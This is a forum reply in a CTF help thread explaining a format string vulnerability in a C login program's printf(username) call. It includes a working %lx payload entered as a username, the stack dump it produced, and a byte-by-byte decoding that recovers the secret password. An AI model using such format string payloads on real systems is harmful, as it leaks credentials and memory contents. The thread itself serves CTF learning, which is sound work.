CTF:Need Help with buffer overflow/string format vulnerability CTF
2 hours ago, TheComputerdude said:<snip>
The key is in the line:
printf(username);
Which misuses printf. Your compiler should warn for that: "warning: format not a string literal and no format arguments [-Wformat-security]".
It allows us to sneak format specifiers in trough the username string, but you knew that already.
Simply using format specifier %x (32bit) you can traverse the stack downward while printing the values on the stack as hex.
I compiled and tried the code you posted with a password file holding the following contents:
QuoteABCDEFGHIJKLMNOPQRSTUVWXYZ1234
===== [ Secure Access System v1.0 ] ===== ----------------------------------------- - You must login to access this system. - ----------------------------------------- --[ Username: %lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx --[ Password: ----------------------------------------- 7ffd43f73b00007f63419364c07f63419364c07ffd43f73c581417431ef1e0000000055acad15c2604847464544434241504f4e4d4c4b4a495857565554535251343332315a59 does not have access!
Note that I used %lx because I'm on a 64 bit system. Each print action will step forward a 64 bit word while %x only prints 32 bits, so I'd lose half the information. %lx prints 64 bits. Use %x on a 32 bit system.
The key part of the output is:
4847464544434241504f4e4d4c4b4a495857565554535251343332315a59 OR 48 47 46 45 44 43 42 41 50 4f 4e 4d 4c 4b 4a 49 58 57 56 55 54 53 52 51 34 33 32 31 5a 59 H G F E D C B A P O N M L K J I X W V U T S R Q 4 3 2 1 Z Y
Grouped per 64-bits in this test, because of intel endianness, obviously.

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now